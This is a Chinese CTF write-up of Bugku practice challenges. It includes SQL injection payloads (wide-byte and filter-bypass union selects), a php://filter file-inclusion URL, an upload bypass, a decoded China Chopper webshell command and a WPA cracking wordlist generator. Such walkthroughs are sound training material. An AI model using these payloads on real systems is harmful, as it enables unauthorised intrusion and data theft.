CTF-练习平台
看标题基本就知道是摩尔斯密码
小羊。。。老套路
翻栅栏,栅栏密码。。。比较简单,直接看出来是两栏加密
KEY{sad23jjdsa2}
看题目估计是道隐写术的题,先保存图片的说;
30分的题,估计不会太难,直接文本编辑器打开;文本末尾发现了一行转义序列:
看来这就是flag了,直接在线转码,Unicode转ascii
看题目估计是考telnet协议,解压文件,是截获的数据包;
telnet协议是明文传送username和password,这就好办了,wireshark打开文件,直接追踪TCP流
又是图片隐写术?保存图片,老套路binwalk跑一下:
隐藏了图片的,从偏移量158792开始分离出来:
解压文件是个exe,诡异,winhex打开看一下
看来是用DATA URL将图片生成了数据流形式,
直接在线base64还原成图片得到了一张二维码,直接扫码得KEY
话说百度图片是不是有个识图功能?
自己猜吧,我不会告诉你这是女神刘亦菲的
conf.bin 看来是路由器配置文件
上工具 routerpassview,没有的话想尽一切方法下载吧
linux基础问题??
解压出来一个名为“flag”的文件,直接winhex打开。。。
search flag。。。只找到了flag.txt
search key。。。get~~
key{feb81d3834e2423c9903f4755464060b}
~~~菜刀大法好,请自行学习菜刀大法
.pcapng又是数据包,wireshark打开,既然是用的菜刀,那就找http协议,第四个http包里找到了一句话木马:
flag应该在挂马之后才拿到,找到下一个http包,wireshark追踪一下http流:
base64解码,得到代码
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$F="C:\\wwwroot\\flag.tar.gz";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');};echo("X@Y");die();
Ü
从代码里可以看出传输文件flag.tar.gz,前后还有字符“X@Y”,正是刚才追踪到的传输的数据:
果然从下一个http包里,找到了对应数据,用wireshark显示该包对应数据分组字节
根据提示要找getshell流,wireshark打开
先大致浏览一下,不难发现从第104个包开始应该是攻击机(192.168.116.138)在向目标机(192.168.116.159)进行端口扫描
之后可以大致找到攻击机远程连接目标机的包(通过3389端口),以及smb协议的包(用于Web连接和客户端与服务器之间的信息沟通)
再往下可以找到以5542开始的包已经getshell,追踪流可以看到其中有一个s4cr4t.txt的文件,base64解码得到flag
CCTF{do_you_like_sniffer}
套路
winhex打开图片,修改图片分辨率,将宽度调高,即可看到被隐藏部分
具体方法:
winhex打开图片,修改图示部分(该部分确定png图片的宽度)至足够大的值
get flag:
flag{He1l0_d4_ba1}
好长一段base64编码。。。
在线base64解码或者写个脚本都行
解码之后,观察一下,反斜杠加两位或三位数字,应该是八进制转义序列,八进制转ascii,脚本跑一下
\x格式的,看来是16进制,写个脚本16进制转ascii
\u开头的16进制Unicode编码,在线Unicode转换字符
纯数字应该是ascii码十进制表示,转为字符(注意先把中间的逗号删掉)
html转义字符,可以用Python解码(先删掉中间的空格)详细教程可以见Python HTML编码解码
继续Python html解码
get flag!
文件是.cap,扔到wireshark里看一下,基本上都是802.11协议的包,WiFi认证过程重点在WPA的四次握手包,也就是eapol协议的包,过滤一下:
这就好办了,上aircrack-ng
首先根据提示,密码是手机号,而且已经给出了前七位,先写个字典出来:
#include
int main(){
int i,j,k,l;
FILE *fp=NULL;
fp=fopen("words.txt","w");
for(i=0;i<=9;i++){
for(j=0;j<=9;j++){
for(k=0;k<=9;k++){
for(l=0;l<=9;l++){
fprintf(fp,"1391040%d%d%d%d\n",i,j,k,l);
}
}
}
}
fclose(fp);
}
图片。。。又是隐写???
下载图片,老套路上binwalk:
偏移量37340,分离得rar压缩包
要密码。。。
讲真,这密码破解确实废了不少功夫,虽然还拿字典跑了一下,但是直觉认为应该不会是这种方式。。。总之尝试了各种方式。。。最后calm down。。。以经验来讲,密码一定在哪里有提示,最后想到图片上是不是还有什么东西?
没错,喜欢我吗. 密码拿去不谢
解压出来一个txt
提取文本要点:
1. 第一条电报内容应该是摩尔斯电码
2. 第二条电报内容是AES加密
3. 会得到一个二维码,而且二维码不正常
好吧,第一条电报拿去摩尔斯解密,是个网站
好吧,打开得到的URL:http://c.bugku.com/momoj2j.png
果然得到二维码,但是。。扫不出来?
慢着,似乎哪里不对,二维码三个角的“回”字定位区颜色似乎是反转的。。。
get了,将二维码颜色反转
扫码得KEY:
待更。。。
没得说,加群拿flag,为了不破坏规则(~ ̄▽ ̄)~,这里就不放flag了
打开链接。。。被惊艳到了。。。
一大波滑稽正在接近。。。好诡异
firebug抓包没结果。。。只能审查元素了。。。
get flag!
看题目估计是上传绕过
先上传个php试一下,提示 非图片文件
那就上传图片,截包改文件后缀
打开链接,简单的加法运算?
too young too simple~
页面设置了输入长度限制,只能输入一位。
还说什么呢?firebug来改页面html代码吧
验证得flag:
flag就在这里?在哪里?
打开链接不停地弹窗。。。
firebug来看一下页面响应
怪不得一直弹窗。。。
看到最后,发现重点了:
根据提示,应该是GET方式的 id存在注入
先用基本真假式注入发现没反应。。。
又简单的试了些注入语句都没效果。。。
然后。。。试试宽字节注入。。。 http://103.238.227.13:10083/?id=1%df%27
看来路子对了,继续搞吧。
union select测试到两列时出现回显: http://103.238.227.13:10083/?id=1%df%27 union select 1,2%23
构造语句查看一下数据库名 http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
库名sql5
OK,开始注入吧,payload: http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id=1%23
get flag~
源码审计。。。可以发现两个要点:
存在sql关键词过滤,存在xss过滤,
可以知道strip_tags()函数会过剥去字符串中的 HTML 标签,那么思路就出来了,比较简单,即在sql关键词中插入HTML标签绕过sql过滤,然后通过xss过滤删去HTML标签。
union select测试发现同样有两列: http://103.238.227.13:10087/?id=1 un<>ion se<>lect 1,2%23
找到表名,为sql3: http://103.238.227.13:10087/?id=1 un<>ion se<>lect database(),2%23
最后得flag,payload: http://103.238.227.13:10087/?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23
flag:
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
打开链接后页面不停地刷新跳转。。。
果断用burp截包,有点耐心,不停地抓包看页面响应就能找到flag了,而且页面响应处有提示flag的位置。
flag: flag{dummy_game_1s_s0_popular}
这个请自行了解一下PHP全局变量-超全局变量
payload: http://a.post.bugku.com/index1.php?args=GLOBALS
flag: flag{92853051ab894a64f7865cf3c2128b34}
这题就是看源码,url解码直接得源码,password的值应该为: 67d709b2b54aa2aa648cf6e87a7114f1
上传得flag: KEY{J22JK-HS11}
看源码,自行了解jsfuck,直接将代码扔到控制台里跑出结果: ctf{whatfk}
进入链接发现url: http://b.post.bugku.com/post/index.php?file=show.php
目测是文件包含,php://filter读取index.php http://b.post.bugku.com/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
然后base64解码得源码,get flag: flag{edulcni_elif_lacol_si_siht}